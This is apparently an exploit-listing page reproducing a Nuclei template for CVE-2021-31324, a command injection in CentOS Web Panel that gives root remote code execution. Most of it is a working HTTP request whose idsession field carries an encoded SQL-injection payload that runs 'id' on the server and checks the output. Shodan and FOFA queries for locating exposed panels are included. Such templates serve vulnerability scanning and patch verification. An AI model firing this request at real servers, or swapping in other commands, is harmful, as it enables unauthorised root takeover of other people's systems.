CVE-2021-31324: CentOS Web Panel - OS Command Injection

2025-08-01 CentOS Web Panel PoC Public

Description

The unprivileged user portal part of CentOS Web Panel is affected by a Command Injection vulnerability leading to root Remote Code Execution.

PoC

id: CVE-2021-31324

info:
  name: CentOS Web Panel - OS Command Injection
  author: ritikchaddha
  severity: critical
  description: |
    The unprivileged user portal part of CentOS Web Panel is affected by a Command Injection vulnerability leading to root Remote Code Execution.
  impact: |
    Unauthenticated attackers can execute arbitrary OS commands with root privileges via command injection in the idsession parameter, leading to complete server compromise.
  remediation: |
    Apply security updates provided by CentOS Web Panel.
  reference:
    - https://www.shielder.com/advisories/centos-web-panel-idsession-root-rce/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-31324
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-31324
    cwe-id: CWE-78
    epss-score: 0.3486
    epss-percentile: 0.98348
    cpe: cpe:2.3:a:control-webpanel:webpanel:-:*:*:*:*:*:*:*
  metadata:
    vendor: control-webpanel
    product: webpanel
    shodan-query: title:"Login | Control WebPanel"
    fofa-query: title="Login | Control WebPanel"
  tags: cve,cve2021,centos,cwpsrv,os,rce,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(header, "cwpsrv")'
        internal: true

  - raw:
      - |
        POST /login/index.php?acc=newpass HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        pass1=c3VwZXJwYXNzd29yZA%3D%3D&idsession=a%27+UNION+SELECT%27a%27%2C%27b%27%2C%27c%27%2C%27YWJjIiBVTklPTiBTRUxFQ1QgJ2EnLCdiJywnYycsJ2QnLCcrMSBkYXknLCdmJy0tIHAiO2lkOyNgfHxhfHxifHxjfHxk%27%2C%27e%27%2C%27f%27--+p

    matchers:
      - type: regex
        part: body
        regex:
          - "uid=[0-9]+.*gid=[0-9]+.*"
# digest: 4a0a00473045022100c2a911f5b4bb99411bde7c1b6e83a05ebe58509b64f25f6988898704a7e3deb7022059bd1bf4ebc927de8ffdf9d4b1f85aedaf6e11a0d47a8ed1564f408303d2ae5c:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities